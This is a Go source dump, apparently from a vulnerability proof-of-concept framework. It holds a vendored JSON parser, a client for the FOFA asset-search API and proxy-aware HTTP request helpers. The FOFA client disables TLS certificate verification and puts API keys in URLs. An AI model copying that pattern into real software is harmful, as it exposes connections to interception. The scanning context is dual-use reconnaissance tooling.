KeyPathNotFoundError = errors.New("Key path not found") 13 | UnknownValueTypeError = errors.New("Unknown value type") 14 | MalformedJsonError = errors.New("Malformed JSON error") 15 | MalformedStringError = errors.New("Value is string, but can't find closing '\"' symbol") 16 | MalformedArrayError = errors.New("Value is array, but can't find closing ']' symbol") 17 | MalformedObjectError = errors.New("Value looks like object, but can't find closing '}' symbol") 18 | MalformedValueError = errors.New("Value looks like Number/Boolean/None, but can't find its end: ',' or '}' symbol") 19 | MalformedStringEscapeError = errors.New("Encountered an invalid escape sequence in a string") 20 | ) 21 | 22 | // How much stack space to allocate for unescaping JSON strings; if a string longer 23 | // than this needs to be escaped, it will result in a heap allocation 24 | const unescapeStackBufSize = 64 25 | 26 | func tokenEnd(data []byte) int { 27 | for i, c := range data { 28 | switch c { 29 | case ' ', '\n', '\r', '\t', ',', '}', ']': 30 | return i 31 | } 32 | } 33 | 34 | return -1 35 | } 36 | 37 | // Find position of next character which is not whitespace 38 | func nextToken(data []byte) int { 39 | for i, c := range data { 40 | switch c { 41 | case ' ', '\n', '\r', '\t': 42 | continue 43 | default: 44 | return i 45 | } 46 | } 47 | 48 | return -1 49 | } 50 | 51 | // Tries to find the end of string 52 | // Support if string contains escaped quote symbols. 53 | func stringEnd(data []byte) (int, bool) { 54 | escaped := false 55 | for i, c := range data { 56 | if c == '"' { 57 | if !escaped { 58 | return i + 1, false 59 | } else { 60 | j := i - 1 61 | for { 62 | if j < 0 || data[j] != '\\' { 63 | return i + 1, true // even number of backslashes 64 | } 65 | j-- 66 | if j < 0 || data[j] != '\\' { 67 | break // odd number of backslashes 68 | } 69 | j-- 70 | 71 | } 72 | } 73 | } else if c == '\\' { 74 | escaped = true 75 | } 76 | } 77 | 78 | return -1, escaped 79 | } 80 | 81 | // Find end of the data structure, array or object. 82 | // For array openSym and closeSym will be '[' and ']', for object '{' and '}' 83 | func blockEnd(data []byte, openSym byte, closeSym byte) int { 84 | level := 0 85 | i := 0 86 | ln := len(data) 87 | 88 | for i < ln { 89 | switch data[i] { 90 | case '"': // If inside string, skip it 91 | se, _ := stringEnd(data[i+1:]) 92 | if se == -1 { 93 | return -1 94 | } 95 | i += se 96 | case openSym: // If open symbol, increase level 97 | level++ 98 | case closeSym: // If close symbol, increase level 99 | level-- 100 | 101 | // If we have returned to the original level, we're done 102 | if level == 0 { 103 | return i + 1 104 | } 105 | } 106 | i++ 107 | } 108 | 109 | return -1 110 | } 111 | 112 | func searchKeys(data []byte, keys ...string) int { 113 | keyLevel := 0 114 | level := 0 115 | i := 0 116 | ln := len(data) 117 | lk := len(keys) 118 | 119 | var stackbuf [unescapeStackBufSize]byte // stack-allocated array for allocation-free unescaping of small strings 120 | 121 | for i < ln { 122 | switch data[i] { 123 | case '"': 124 | i++ 125 | keyBegin := i 126 | 127 | strEnd, keyEscaped := stringEnd(data[i:]) 128 | if strEnd == -1 { 129 | return -1 130 | } 131 | i += strEnd 132 | keyEnd := i - 1 133 | 134 | valueOffset := nextToken(data[i:]) 135 | if valueOffset == -1 { 136 | return -1 137 | } 138 | 139 | i += valueOffset 140 | 141 | // if string is a key, and key level match 142 | if data[i] == ':' && keyLevel == level-1 { 143 | key := data[keyBegin:keyEnd] 144 | 145 | // for unescape: if there are no escape sequences, this is cheap; if there are, it is a 146 | // bit more expensive, but causes no allocations unless len(key) > unescapeStackBufSize 147 | var keyUnesc []byte 148 | if !keyEscaped { 149 | keyUnesc = key 150 | } else if ku, err := Unescape(key, stackbuf[:]); err != nil { 151 | return -1 152 | } else { 153 | keyUnesc = ku 154 | } 155 | 156 | if equalStr(&keyUnesc, keys[level-1]) { 157 | keyLevel++ 158 | // If we found all keys in path 159 | if keyLevel == lk { 160 | return i + 1 161 | } 162 | } 163 | } else { 164 | i-- 165 | } 166 | case '{': 167 | level++ 168 | case '}': 169 | level-- 170 | case '[': 171 | // Do not search for keys inside arrays 172 | if arraySkip := blockEnd(data[i:], '[', ']'); arraySkip == -1 { 173 | return -1 174 | } else { 175 | i += arraySkip - 1 176 | } 177 | } 178 | 179 | i++ 180 | } 181 | 182 | return -1 183 | } 184 | 185 | var bitwiseFlags []int64 186 | 187 | func init() { 188 | for i := 0; i < 63; i++ { 189 | bitwiseFlags = append(bitwiseFlags, int64(math.Pow(2, float64(i)))) 190 | } 191 | } 192 | 193 | func sameTree(p1, p2 []string) bool { 194 | if len(p1) == 1 && len(p2) == 1 { 195 | return true 196 | } 197 | 198 | for pi_1, p_1 := range p1[:len(p1)-1] { 199 | if len(p2)-2 < pi_1 { 200 | break 201 | } 202 | 203 | if p2[pi_1] != p_1 { 204 | return false 205 | } 206 | } 207 | 208 | return true 209 | } 210 | 211 | func EachKey(data []byte, cb func(int, []byte, ValueType, error), paths ...[]string) int { 212 | var pathFlags, ignorePathFlags int64 213 | var level, pathsMatched, i int 214 | ln := len(data) 215 | 216 | var stackbuf [unescapeStackBufSize]byte // stack-allocated array for allocation-free unescaping of small strings 217 | 218 | for i < ln { 219 | switch data[i] { 220 | case '"': 221 | i++ 222 | keyBegin := i 223 | 224 | strEnd, keyEscaped := stringEnd(data[i:]) 225 | if strEnd == -1 { 226 | return -1 227 | } 228 | i += strEnd 229 | 230 | keyEnd := i - 1 231 | 232 | valueOffset := nextToken(data[i:]) 233 | if valueOffset == -1 { 234 | return -1 235 | } 236 | 237 | i += valueOffset 238 | 239 | // if string is a key, and key level match 240 | if data[i] == ':' { 241 | match := -1 242 | key := data[keyBegin:keyEnd] 243 | 244 | // for unescape: if there are no escape sequences, this is cheap; if there are, it is a 245 | // bit more expensive, but causes no allocations unless len(key) > unescapeStackBufSize 246 | var keyUnesc []byte 247 | if !keyEscaped { 248 | keyUnesc = key 249 | } else if ku, err := Unescape(key, stackbuf[:]); err != nil { 250 | return -1 251 | } else { 252 | keyUnesc = ku 253 | } 254 | 255 | for pi, p := range paths { 256 | if len(p) < level || (pathFlags&bitwiseFlags[pi]) != 0 || (ignorePathFlags&bitwiseFlags[pi] != 0) { 257 | continue 258 | } 259 | 260 | if equalStr(&keyUnesc, p[level-1]) { 261 | match = pi 262 | 263 | if len(p) == level { 264 | i++ 265 | pathsMatched++ 266 | pathFlags |= bitwiseFlags[pi] 267 | 268 | v, dt, of, e := Get(data[i:]) 269 | cb(pi, v, dt, e) 270 | 271 | if of != -1 { 272 | i += of 273 | } 274 | 275 | if pathsMatched == len(paths) { 276 | return i 277 | } 278 | } 279 | } 280 | } 281 | 282 | if match == -1 { 283 | ignorePathFlags = 0 284 | tokenOffset := nextToken(data[i+1:]) 285 | i += tokenOffset 286 | 287 | if data[i] == '{' { 288 | blockSkip := blockEnd(data[i:], '{', '}') 289 | i += blockSkip + 1 290 | } 291 | } else { 292 | m_p := paths[match] 293 | 294 | for pi, p := range paths { 295 | if pi == match { 296 | continue 297 | } 298 | 299 | if len(p) < level || (pathFlags&bitwiseFlags[pi]) != 0 || (ignorePathFlags&bitwiseFlags[pi] != 0) { 300 | continue 301 | } 302 | 303 | if !sameTree(m_p, p) { 304 | ignorePathFlags |= bitwiseFlags[pi] 305 | } 306 | } 307 | } 308 | 309 | switch data[i] { 310 | case '{', '}', '[', '"': 311 | i-- 312 | } 313 | } else { 314 | i-- 315 | } 316 | case '{': 317 | level++ 318 | case '}': 319 | level-- 320 | case '[': 321 | // Do not search for keys inside arrays 322 | if arraySkip := blockEnd(data[i:], '[', ']'); arraySkip == -1 { 323 | return -1 324 | } else { 325 | i += arraySkip - 1 326 | } 327 | } 328 | 329 | i++ 330 | } 331 | 332 | return -1 333 | } 334 | 335 | // Data types available in valid JSON data. 336 | type ValueType int 337 | 338 | const ( 339 | NotExist = ValueType(iota) 340 | String 341 | Number 342 | Object 343 | Array 344 | Boolean 345 | Null 346 | Unknown 347 | ) 348 | 349 | func (vt ValueType) String() string { 350 | switch vt { 351 | case NotExist: 352 | return "non-existent" 353 | case String: 354 | return "string" 355 | case Number: 356 | return "number" 357 | case Object: 358 | return "object" 359 | case Array: 360 | return "array" 361 | case Boolean: 362 | return "boolean" 363 | case Null: 364 | return "null" 365 | default: 366 | return "unknown" 367 | } 368 | } 369 | 370 | var ( 371 | trueLiteral = []byte("true") 372 | falseLiteral = []byte("false") 373 | nullLiteral = []byte("null") 374 | ) 375 | 376 | /* 377 | Get - Receives data structure, and key path to extract value from. 378 | 379 | Returns: 380 | `value` - Pointer to original data structure containing key value, or just empty slice if nothing found or error 381 | `dataType` - Can be: `NotExist`, `String`, `Number`, `Object`, `Array`, `Boolean` or `Null` 382 | `offset` - Offset from provided data structure where key value ends. Used mostly internally, for example for `ArrayEach` helper. 383 | `err` - If key not found or any other parsing issue it should return error. If key not found it also sets `dataType` to `NotExist` 384 | 385 | Accept multiple keys to specify path to JSON value (in case of quering nested structures). 386 | If no keys provided it will try to extract closest JSON value (simple ones or object/array), useful for reading streams or arrays, see `ArrayEach` implementation. 387 | */ 388 | func Get(data []byte, keys ...string) (value []byte, dataType ValueType, offset int, err error) { 389 | if len(keys) > 0 { 390 | if offset = searchKeys(data, keys...); offset == -1 { 391 | return []byte{}, NotExist, -1, KeyPathNotFoundError 392 | } 393 | } 394 | 395 | // Go to closest value 396 | nO := nextToken(data[offset:]) 397 | if nO == -1 { 398 | return []byte{}, NotExist, -1, MalformedJsonError 399 | } 400 | 401 | offset += nO 402 | 403 | endOffset := offset 404 | // if string value 405 | if data[offset] == '"' { 406 | dataType = String 407 | if idx, _ := stringEnd(data[offset+1:]); idx != -1 { 408 | endOffset += idx + 1 409 | } else { 410 | return []byte{}, dataType, offset, MalformedStringError 411 | } 412 | } else if data[offset] == '[' { // if array value 413 | dataType = Array 414 | // break label, for stopping nested loops 415 | endOffset = blockEnd(data[offset:], '[', ']') 416 | 417 | if endOffset == -1 { 418 | return []byte{}, dataType, offset, MalformedArrayError 419 | } 420 | 421 | endOffset += offset 422 | } else if data[offset] == '{' { // if object value 423 | dataType = Object 424 | // break label, for stopping nested loops 425 | endOffset = blockEnd(data[offset:], '{', '}') 426 | 427 | if endOffset == -1 { 428 | return []byte{}, dataType, offset, MalformedObjectError 429 | } 430 | 431 | endOffset += offset 432 | } else { 433 | // Number, Boolean or None 434 | end := tokenEnd(data[endOffset:]) 435 | 436 | if end == -1 { 437 | return nil, dataType, offset, MalformedValueError 438 | } 439 | 440 | value := data[offset : endOffset+end] 441 | 442 | switch data[offset] { 443 | case 't', 'f': // true or false 444 | if bytes.Equal(value, trueLiteral) || bytes.Equal(value, falseLiteral) { 445 | dataType = Boolean 446 | } else { 447 | return nil, Unknown, offset, UnknownValueTypeError 448 | } 449 | case 'u', 'n': // undefined or null 450 | if bytes.Equal(value, nullLiteral) { 451 | dataType = Null 452 | } else { 453 | return nil, Unknown, offset, UnknownValueTypeError 454 | } 455 | case '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '-': 456 | dataType = Number 457 | default: 458 | return nil, Unknown, offset, UnknownValueTypeError 459 | } 460 | 461 | endOffset += end 462 | } 463 | 464 | value = data[offset:endOffset] 465 | 466 | // Strip quotes from string values 467 | if dataType == String { 468 | value = value[1 : len(value)-1] 469 | } 470 | 471 | if dataType == Null { 472 | value = []byte{} 473 | } 474 | 475 | return value, dataType, endOffset, nil 476 | } 477 | 478 | // ArrayEach is used when iterating arrays, accepts a callback function with the same return arguments as `Get`. 479 | func ArrayEach(data []byte, cb func(value []byte, dataType ValueType, offset int, err error), keys ...string) (err error) { 480 | if len(data) == 0 { 481 | return MalformedObjectError 482 | } 483 | 484 | offset := 1 485 | 486 | if len(keys) > 0 { 487 | if offset = searchKeys(data, keys...); offset == -1 { 488 | return KeyPathNotFoundError 489 | } 490 | 491 | // Go to closest value 492 | nO := nextToken(data[offset:]) 493 | if nO == -1 { 494 | return MalformedJsonError 495 | } 496 | 497 | offset += nO 498 | 499 | if data[offset] != '[' { 500 | return MalformedArrayError 501 | } 502 | 503 | offset++ 504 | } 505 | 506 | for true { 507 | v, t, o, e := Get(data[offset:]) 508 | 509 | if o == 0 { 510 | break 511 | } 512 | 513 | if t != NotExist { 514 | cb(v, t, o, e) 515 | } 516 | 517 | if e != nil { 518 | break 519 | } 520 | 521 | offset += o 522 | 523 | skipToToken := nextToken(data[offset:]) 524 | if skipToToken == -1 { 525 | return MalformedArrayError 526 | } 527 | offset += skipToToken 528 | 529 | if data[offset] == ']' { 530 | break 531 | } 532 | 533 | if data[offset] != ',' { 534 | return MalformedArrayError 535 | } 536 | 537 | offset++ 538 | } 539 | 540 | return nil 541 | } 542 | 543 | // ObjectEach iterates over the key-value pairs of a JSON object, invoking a given callback for each such entry 544 | func ObjectEach(data []byte, callback func(key []byte, value []byte, dataType ValueType, offset int) error, keys ...string) (err error) { 545 | var stackbuf [unescapeStackBufSize]byte // stack-allocated array for allocation-free unescaping of small strings 546 | offset := 0 547 | 548 | // Descend to the desired key, if requested 549 | if len(keys) > 0 { 550 | if off := searchKeys(data, keys...); off == -1 { 551 | return KeyPathNotFoundError 552 | } else { 553 | offset = off 554 | } 555 | } 556 | 557 | // Validate and skip past opening brace 558 | if off := nextToken(data[offset:]); off == -1 { 559 | return MalformedObjectError 560 | } else if offset += off; data[offset] != '{' { 561 | return MalformedObjectError 562 | } else { 563 | offset++ 564 | } 565 | 566 | // Skip to the first token inside the object, or stop if we find the ending brace 567 | if off := nextToken(data[offset:]); off == -1 { 568 | return MalformedJsonError 569 | } else if offset += off; data[offset] == '}' { 570 | return nil 571 | } 572 | 573 | // Loop pre-condition: data[offset] points to what should be either the next entry's key, or the closing brace (if it's anything else, the JSON is malformed) 574 | for offset < len(data) { 575 | // Step 1: find the next key 576 | var key []byte 577 | 578 | // Check what the the next token is: start of string, end of object, or something else (error) 579 | switch data[offset] { 580 | case '"': 581 | offset++ // accept as string and skip opening quote 582 | case '}': 583 | return nil // we found the end of the object; stop and return success 584 | default: 585 | return MalformedObjectError 586 | } 587 | 588 | // Find the end of the key string 589 | var keyEscaped bool 590 | if off, esc := stringEnd(data[offset:]); off == -1 { 591 | return MalformedJsonError 592 | } else { 593 | key, keyEscaped = data[offset:offset+off-1], esc 594 | offset += off 595 | } 596 | 597 | // Unescape the string if needed 598 | if keyEscaped { 599 | if keyUnescaped, err := Unescape(key, stackbuf[:]); err != nil { 600 | return MalformedStringEscapeError 601 | } else { 602 | key = keyUnescaped 603 | } 604 | } 605 | 606 | // Step 2: skip the colon 607 | if off := nextToken(data[offset:]); off == -1 { 608 | return MalformedJsonError 609 | } else if offset += off; data[offset] != ':' { 610 | return MalformedJsonError 611 | } else { 612 | offset++ 613 | } 614 | 615 | // Step 3: find the associated value, then invoke the callback 616 | if value, valueType, off, err := Get(data[offset:]); err != nil { 617 | return err 618 | } else if err := callback(key, value, valueType, offset+off); err != nil { // Invoke the callback here! 619 | return err 620 | } else { 621 | offset += off 622 | } 623 | 624 | // Step 4: skip over the next comma to the following token, or stop if we hit the ending brace 625 | if off := nextToken(data[offset:]); off == -1 { 626 | return MalformedArrayError 627 | } else { 628 | offset += off 629 | switch data[offset] { 630 | case '}': 631 | return nil // Stop if we hit the close brace 632 | case ',': 633 | offset++ // Ignore the comma 634 | default: 635 | return MalformedObjectError 636 | } 637 | } 638 | 639 | // Skip to the next token after the comma 640 | if off := nextToken(data[offset:]); off == -1 { 641 | return MalformedArrayError 642 | } else { 643 | offset += off 644 | } 645 | } 646 | 647 | return MalformedObjectError // we shouldn't get here; it's expected that we will return via finding the ending brace 648 | } 649 | 650 | // GetUnsafeString returns the value retrieved by `Get`, use creates string without memory allocation by mapping string to slice memory. It does not handle escape symbols. 651 | func GetUnsafeString(data []byte, keys ...string) (val string, err error) { 652 | v, _, _, e := Get(data, keys...) 653 | 654 | if e != nil { 655 | return "", e 656 | } 657 | 658 | return bytesToString(&v), nil 659 | } 660 | 661 | // GetString returns the value retrieved by `Get`, cast to a string if possible, trying to properly handle escape and utf8 symbols 662 | // If key data type do not match, it will return an error. 663 | func GetString(data []byte, keys ...string) (val string, err error) { 664 | v, t, _, e := Get(data, keys...) 665 | 666 | if e != nil { 667 | return "", e 668 | } 669 | 670 | if t != String { 671 | return "", fmt.Errorf("Value is not a number: %s", string(v)) 672 | } 673 | 674 | // If no escapes return raw conten 675 | if bytes.IndexByte(v, '\\') == -1 { 676 | return string(v), nil 677 | } 678 | 679 | return ParseString(v) 680 | } 681 | 682 | // GetFloat returns the value retrieved by `Get`, cast to a float64 if possible. 683 | // The offset is the same as in `Get`. 684 | // If key data type do not match, it will return an error. 685 | func GetFloat(data []byte, keys ...string) (val float64, err error) { 686 | v, t, _, e := Get(data, keys...) 687 | 688 | if e != nil { 689 | return 0, e 690 | } 691 | 692 | if t != Number { 693 | return 0, fmt.Errorf("Value is not a number: %s", string(v)) 694 | } 695 | 696 | return ParseFloat(v) 697 | } 698 | 699 | // GetInt returns the value retrieved by `Get`, cast to a int64 if possible. 700 | // If key data type do not match, it will return an error. 701 | func GetInt(data []byte, keys ...string) (val int64, err error) { 702 | v, t, _, e := Get(data, keys...) 703 | 704 | if e != nil { 705 | return 0, e 706 | } 707 | 708 | if t != Number { 709 | return 0, fmt.Errorf("Value is not a number: %s", string(v)) 710 | } 711 | 712 | return ParseInt(v) 713 | } 714 | 715 | // GetBoolean returns the value retrieved by `Get`, cast to a bool if possible. 716 | // The offset is the same as in `Get`. 717 | // If key data type do not match, it will return error. 718 | func GetBoolean(data []byte, keys ...string) (val bool, err error) { 719 | v, t, _, e := Get(data, keys...) 720 | 721 | if e != nil { 722 | return false, e 723 | } 724 | 725 | if t != Boolean { 726 | return false, fmt.Errorf("Value is not a boolean: %s", string(v)) 727 | } 728 | 729 | return ParseBoolean(v) 730 | } 731 | 732 | // ParseBoolean parses a Boolean ValueType into a Go bool (not particularly useful, but here for completeness) 733 | func ParseBoolean(b []byte) (bool, error) { 734 | switch { 735 | case bytes.Equal(b, trueLiteral): 736 | return true, nil 737 | case bytes.Equal(b, falseLiteral): 738 | return false, nil 739 | default: 740 | return false, MalformedValueError 741 | } 742 | } 743 | 744 | // ParseString parses a String ValueType into a Go string (the main parsing work is unescaping the JSON string) 745 | func ParseString(b []byte) (string, error) { 746 | var stackbuf [unescapeStackBufSize]byte // stack-allocated array for allocation-free unescaping of small strings 747 | if bU, err := Unescape(b, stackbuf[:]); err != nil { 748 | return "", nil 749 | } else { 750 | return string(bU), nil 751 | } 752 | } 753 | 754 | // ParseNumber parses a Number ValueType into a Go float64 755 | func ParseFloat(b []byte) (float64, error) { 756 | if v, err := parseFloat(&b); err != nil { 757 | return 0, MalformedValueError 758 | } else { 759 | return v, nil 760 | } 761 | } 762 | 763 | // ParseInt parses a Number ValueType into a Go int64 764 | func ParseInt(b []byte) (int64, error) { 765 | if v, ok := parseInt(b); !ok { 766 | return 0, MalformedValueError 767 | } else { 768 | return v, nil 769 | } 770 | } 771 | -------------------------------------------------------------------------------- /main/Developer/Fofa/vendor/github.com/fofapro/fofa-go/LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2016 baimaohui 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /main/Developer/Fofa/vendor/github.com/fofapro/fofa-go/fofa/fofa.go: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2016 baimaohui 2 | 3 | // Permission is hereby granted, free of charge, to any person obtaining a 4 | // copy of this software and associated documentation files (the "Software"), 5 | // to deal in the Software without restriction, including without limitation 6 | // the rights to use, copy, modify, merge, publish, distribute, sublicense, 7 | // and/or sell copies of the Software, and to permit persons to whom the 8 | // Software is furnished to do so, subject to the following conditions: 9 | 10 | // The above copyright notice and this permission notice shall be included 11 | // in all copies or substantial portions of the Software. 12 | 13 | // Package fofa implements some fofa-api utility functions. 14 | package fofa 15 | 16 | import ( 17 | "bytes" 18 | "crypto/tls" 19 | "encoding/base64" 20 | "encoding/json" 21 | "errors" 22 | "fmt" 23 | "github.com/buger/jsonparser" 24 | "io/ioutil" 25 | "log" 26 | "net/http" 27 | "strconv" 28 | "strings" 29 | ) 30 | 31 | // Fofa a fofa client can be used to make queries 32 | type Fofa struct { 33 | email []byte 34 | key []byte 35 | *http.Client 36 | } 37 | 38 | // Result represents a record of the query results 39 | // contain domain host ip port title country city 40 | type result struct { 41 | Domain string `json:"domain,omitempty"` 42 | Host string `json:"host,omitempty"` 43 | IP string `json:"ip,omitempty"` 44 | Port string `json:"port,omitempty"` 45 | Title string `json:"title,omitempty"` 46 | Country string `json:"country,omitempty"` 47 | City string `json:"city,omitempty"` 48 | } 49 | 50 | // User struct for fofa user 51 | type User struct { 52 | Email string `json:"email,omitempty"` 53 | Fcoin int `json:"fcoin,omitempty"` 54 | Vip bool `json:"bool,omitempty"` 55 | Avatar string `json:"avatar,omitempty"` 56 | Err string `json:"errmsg,omitempty"` 57 | } 58 | 59 | // Results fofa result set 60 | type Results []result 61 | 62 | const ( 63 | defaultAPIUrl = "https://fofa.info/api/v1/search/all?" 64 | ) 65 | 66 | var ( 67 | errFofaReplyWrongFormat = errors.New("Fofa Reply With Wrong Format") 68 | errFofaReplyNoData = errors.New("No Data In Fofa Reply") 69 | ) 70 | 71 | // NewFofaClient create a fofa client 72 | func NewFofaClient(email, key []byte) *Fofa { 73 | 74 | transCfg := &http.Transport{ 75 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, 76 | } 77 | 78 | return &Fofa{ 79 | email: email, 80 | key: key, 81 | Client: &http.Client{ 82 | Transport: transCfg, // disable tls verify 83 | }, 84 | } 85 | } 86 | 87 | // Get overwrite http.Get 88 | func (ff *Fofa) Get(u string) ([]byte, error) { 89 | 90 | body, err := ff.Client.Get(u) 91 | if err != nil { 92 | return nil, err 93 | } 94 | defer body.Body.Close() 95 | content, err := ioutil.ReadAll(body.Body) 96 | if err != nil { 97 | return nil, err 98 | } 99 | return content, nil 100 | } 101 | 102 | // QueryAsJSON make a fofa query and return json data as result 103 | // echo 'domain="nosec.org"' | base64 - | xargs -I{} 104 | // curl "https://fofa.so/api/v1/search/all?email=${FOFA_EMAIL}&key=${FOFA_KEY}&qbase64={}" 105 | // host title ip domain port country city 106 | func (ff *Fofa) QueryAsJSON(page uint, args ...[]byte) ([]byte, error) { 107 | var ( 108 | query = []byte(nil) 109 | fields = []byte("domain,host,ip,port,title,country,city") 110 | q = []byte(nil) 111 | ) 112 | switch { 113 | case len(args) == 1 || (len(args) == 2 && args[1] == nil): 114 | query = args[0] 115 | case len(args) == 2: 116 | query = args[0] 117 | fields = args[1] 118 | } 119 | 120 | q = []byte(base64.StdEncoding.EncodeToString(query)) 121 | q = bytes.Join([][]byte{[]byte(defaultAPIUrl), 122 | []byte("email="), ff.email, 123 | []byte("&key="), ff.key, 124 | []byte("&qbase64="), q, 125 | []byte("&fields="), fields, 126 | []byte("&page="), []byte(strconv.Itoa(int(page))), 127 | }, []byte("")) 128 | fmt.Printf("%s\n", q) 129 | content, err := ff.Get(string(q)) 130 | if err != nil { 131 | return nil, err 132 | } 133 | errmsg, err := jsonparser.GetString(content, "errmsg") 134 | if err == nil { 135 | err = errors.New(errmsg) 136 | } else { 137 | err = nil 138 | } 139 | return content, err 140 | } 141 | 142 | // QueryAsArray make a fofa query and 143 | // return array data as result 144 | // echo 'domain="nosec.org"' | base64 - | xargs -I{} 145 | // curl "https://fofa.so/api/v1/search/all?email=${FOFA_EMAIL}&key=${FOFA_KEY}&qbase64={}" 146 | func (ff *Fofa) QueryAsArray(page uint, args ...[]byte) (result Results, err error) { 147 | 148 | var content []byte 149 | 150 | content, err = ff.QueryAsJSON(page, args...) 151 | if err != nil { 152 | return nil, err 153 | } 154 | 155 | errmsg, err := jsonparser.GetString(content, "errmsg") 156 | // err equals to nil on error 157 | if err == nil { 158 | return nil, errors.New(errmsg) 159 | } 160 | 161 | err = json.Unmarshal(content, &result) 162 | 163 | return 164 | } 165 | 166 | // UserInfo get user information 167 | func (ff *Fofa) UserInfo() (user *User, err error) { 168 | user = new(User) 169 | queryStr := strings.Join([]string{"https://fofa.so/api/v1/info/my?email=", string(ff.email), "&key=", string(ff.key)}, "") 170 | 171 | content, err := ff.Get(queryStr) 172 | 173 | if err != nil { 174 | return nil, err 175 | } 176 | 177 | if err = json.Unmarshal(content, user); err != nil { 178 | return nil, err 179 | } 180 | 181 | if len(user.Err) != 0 { 182 | return nil, errors.New(user.Err) 183 | } 184 | 185 | return user, nil 186 | } 187 | 188 | func (u *User) String() string { 189 | data, err := json.Marshal(u) 190 | if err != nil { 191 | log.Fatalf("json marshal failed. err: %s\n", err) 192 | return "" 193 | } 194 | return string(data) 195 | } 196 | 197 | func (r *result) String() string { 198 | data, err := json.Marshal(r) 199 | if err != nil { 200 | log.Fatalf("json marshal failed. err: %s\n", err) 201 | return "" 202 | } 203 | return string(data) 204 | } 205 | 206 | func (r *Results) String() string { 207 | data, err := json.Marshal(r) 208 | if err != nil { 209 | log.Fatalf("json marshal failed. err: %s\n", err) 210 | return "" 211 | } 212 | return string(data) 213 | } 214 | -------------------------------------------------------------------------------- /main/Developer/Fofa/vendor/modules.txt: -------------------------------------------------------------------------------- 1 | # github.com/buger/jsonparser v0.0.0-20160922145946-f04e003e4115 2 | ## explicit 3 | github.com/buger/jsonparser 4 | # github.com/fofapro/fofa-go v0.0.0-20200317042037-c0caee09013d 5 | ## explicit 6 | github.com/fofapro/fofa-go/fofa 7 | -------------------------------------------------------------------------------- /main/Developer/HttpAbout/GlobalVar.go: -------------------------------------------------------------------------------- 1 | package HttpAbout 2 | 3 | var InputProxy string 4 | -------------------------------------------------------------------------------- /main/Developer/HttpAbout/HttpConfig.go: -------------------------------------------------------------------------------- 1 | package HttpAbout 2 | 3 | import ( 4 | "net/http" 5 | "time" 6 | ) 7 | 8 | type SetHttpConfig struct { 9 | TimeOut time.Duration // 请求等待时间 10 | Method string // 请求方法 11 | Body string // 请求体 12 | Uri string // 请求的路径 13 | Client *http.Client // 代理选项 14 | Header map[string]string //请求头 15 | IsRedirect bool // 是否重定向 16 | } 17 | 18 | func NewHttpConfig() SetHttpConfig { 19 | var config SetHttpConfig 20 | config.Header = make(map[string]string) 21 | return config 22 | } 23 | -------------------------------------------------------------------------------- /main/Developer/HttpAbout/SendHttpRequst.go: -------------------------------------------------------------------------------- 1 | package HttpAbout 2 | 3 | import ( 4 | "GoPoc/main/Developer/AllFormat" 5 | "context" 6 | "fmt" 7 | "io" 8 | "math/rand" 9 | "net/http" 10 | "strings" 11 | "time" 12 | ) 13 | 14 | func SendHttpRequest(hostInfo string, config SetHttpConfig) (Format.CustomResponseFormat, error) { 15 | var customResponse Format.CustomResponseFormat 16 | if !strings.HasPrefix(strings.ToLower(hostInfo), "http://") && !strings.HasPrefix(strings.ToLower(hostInfo), "https://") { 17 | if !strings.HasPrefix(strings.ToLower(hostInfo), "http://") { 18 | hostInfo = "http://" + hostInfo 19 | } else { 20 | hostInfo = "https://" + hostInfo 21 | } 22 | } 23 | config.Client = SetProxy(InputProxy, config.IsRedirect) 24 | 25 | if config.Method == "" { 26 | config.Method = "GET" 27 | } else if strings.ToLower(config.Method) == "post" || strings.ToLower(config.Method) == "p" { 28 | config.Method = "POST" 29 | } else if strings.ToLower(config.Method) == "get" || strings.ToLower(config.Method) == "g" { 30 | config.Method = "GET" 31 | } 32 | 33 | // Create an HTTP.Request object 34 | procedureRequest, err := http.NewRequest(config.Method, hostInfo+config.Uri, strings.NewReader(config.Body)) 35 | if err != nil { 36 | return customResponse, err 37 | } 38 | 39 | // Set a timeout for the request 40 | if config.TimeOut <= 0 { 41 | config.TimeOut = 5 42 | } 43 | ctx, cancel := context.WithTimeout(context.Background(), time.Second*config.TimeOut) 44 | 45 | ProcessPackagesForCode(procedureRequest, config) 46 | procedureRequest = procedureRequest.WithContext(ctx) 47 | // Send request and obtain response results 48 | procedureResponse, err := config.Client.Do(procedureRequest) 49 | if err != nil { 50 | cancel() 51 | return customResponse, err 52 | } 53 | 54 | // 对自定义Response进行赋值 55 | bodyOfExecutionResults, err := io.ReadAll(procedureResponse.Body) 56 | if config.Method == "GET" && err != nil { 57 | cancel() 58 | return customResponse, err 59 | } 60 | 61 | responseText := fmt.Sprintf("HTTP/1.1 %s\n", procedureResponse.Status) 62 | for key, values := range procedureResponse.Header { 63 | for _, value := range values { 64 | responseText += fmt.Sprintf("%s: %s\n", key, value) 65 | } 66 | } 67 | responseText += "\n" + string(bodyOfExecutionResults) 68 | 69 | customResponse.Raw = responseText 70 | 71 | customResponse.Body = string(bodyOfExecutionResults) 72 | customResponse.Request = procedureResponse.Request 73 | customResponse.Header = procedureResponse.Header 74 | customResponse.Status = procedureResponse.Status 75 | customResponse.RawBody = procedureResponse.Body 76 | customResponse.Close = procedureResponse.Close 77 | customResponse.ContentLength = 